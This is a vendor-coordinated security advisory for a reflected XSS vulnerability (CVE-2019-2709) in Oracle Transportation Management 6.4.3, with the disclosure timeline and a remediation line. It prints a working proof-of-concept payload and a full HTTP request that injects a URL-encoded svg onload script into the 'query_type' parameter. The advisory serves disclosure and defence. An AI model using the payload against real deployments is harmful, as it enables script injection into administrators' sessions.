usd-2019-0014 | Oracle Transportation Management (OTM)/6.4.3
Advisory ID: usd-2019-0014
CVE number: CVE-2019-2709
CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2019-2709
Affected Version: 6.4.3
Vulnerability Type: Reflected XSS
First Pubslished: 2019-07-31
Last Update: 2019-05-20
Security Risk: High
Vendor URL: https://www.oracle.com
Vendor Status: Fixed
Advisory Status: Published
Reflected XSS attack (or non-persistent attack) occur when a malicious script is reflected off of a web application to the victim’s browser. The attack is typically delivered via email or a web site and activated through a link, which sends a request to a website with a vulnerability that enables execution of malicious scripts.
The vulnerability present is a reflected cross site scripting attack. The vulnerable parameter is „query_type“.
The request is send if the user:
1.) Logs in as an administrator
2.) Selects the menu „Restricted Party Screening“
3.) Selects the submenu „Restricted Party Screening“.
4.) Clicks the button „Match“ to start a search. The search parameters may be empty.
5.) Inside the displayed table clicks on a column to sort the coresponding results.
Since the parameter is URL-encoded, the attacker also has to encode his payload. Due to incorrect filtering „> enables the attacker to break out of the context and insert custom HTML code.
The complete Payload would look like this: urlencode(„><svg onload=alert(1);>) .
GET /GC3/gtm.webserver.query.QueryResultSortServlet/1552062217898?ct=ODI3NjMyMjQxNjY5MzU5NDU5MQ%3D%3D&bcKey=MTU1MjA2MjIxNzkwMjox&sortField=FirstName&sortType=DESC&query_type=%22%3e%3c%73%76%67%0c%6f%6e%6c%6f%61%64%3d%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%75%73%64%2e%64%65%22%3b%3e HTTP/1.1 Host: xxx.yyy.zzz User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://xxx.yyy.zzz/GC3/gtm.webserver.query.QueryResultSortServlet/1552062217898?ct=ODI3NjMyMjQxNjY5MzU5NDU5MQ%3D%3D&bcKey=MTU1MjA2MjIxNzkwMjox&sortField=FirstName&sortType=ASC&query_type= Cookie: OTMi=2rVd7wQ7iXICrkfRPqoRYC3SUkoIqFCHRg8l197RCJbhrvK6v-gF!-1223214642 Connection: close Upgrade-Insecure-Requests: 1
Make sure to encode the user supplied input.
- 2019-03-26 First contact request via email@example.com
- 2019-03-27 Oracle Security Team opened a ticket for the issue
- 2019-04-13 Status update: Issue is fixed in CPUApr2019
This security vulnerabilities were found by Luca Rupp of usd AG.
ABOUT usd SECURITY ADVISORIES
In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.
Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers
on new vulnerabilities and current security issues.
Always for the sake of our mission: „more security.“
In accordance with usd AG’s Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.
The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.